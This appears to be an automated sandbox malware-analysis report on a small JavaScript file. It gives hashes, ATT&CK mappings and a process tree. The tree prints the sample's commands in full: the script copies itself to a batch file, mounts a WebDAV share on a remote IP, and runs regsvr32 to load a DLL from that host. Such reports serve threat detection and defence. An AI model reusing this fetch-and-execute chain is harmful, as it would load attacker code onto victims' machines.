7da097f0ed34d68d9a7cfebcf91fcd66a746947bbc1a2421e5e766b09c210a06

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2056711880118939728.js
Size

5KB
MD5

63ecdde211192b78590818456cc24e5a
SHA1

7bf191c707d56f12ebbfd45491f841f740d116f9
SHA256

3ea1dc1b562ca3d98a4d6fc962f61a7e78209f712911c0c27bdf0703e1b4d4a8
SHA512

6ac0cafe910bba20390126b4ffe04bcb388f4236e78f25818b26d561459e29d9c350f07b64c922e88d4da3fb40d2308ed841680ced508f8e0a08bb0dacc7a29a
SSDEEP

96:CerDkABzQfiLUgacMiE2UAJ3c6KBXHwTwjn1HkXjTk47Z33kcZ3C:C0kARQfiLUgDMiE2nJ3c6KBXQTEn1Hko

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1908	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2688 wrote to memory of 2928	2688	wscript.exe	30
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 2872	2928	cmd.exe	32
PID 2928 wrote to memory of 1908	2928	cmd.exe	33
PID 2928 wrote to memory of 1908	2928	cmd.exe	33
PID 2928 wrote to memory of 1908	2928	cmd.exe	33
PID 2928 wrote to memory of 1908	2928	cmd.exe	33
PID 2928 wrote to memory of 1908	2928	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2056711880118939728.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2056711880118939728.js" "C:\Users\Admin\\xccymf.bat" && "C:\Users\Admin\\xccymf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2872
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\594.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\xccymf.bat

Filesize
5KB

MD5
63ecdde211192b78590818456cc24e5a

SHA1
7bf191c707d56f12ebbfd45491f841f740d116f9

SHA256
3ea1dc1b562ca3d98a4d6fc962f61a7e78209f712911c0c27bdf0703e1b4d4a8

SHA512
6ac0cafe910bba20390126b4ffe04bcb388f4236e78f25818b26d561459e29d9c350f07b64c922e88d4da3fb40d2308ed841680ced508f8e0a08bb0dacc7a29a

Download Submit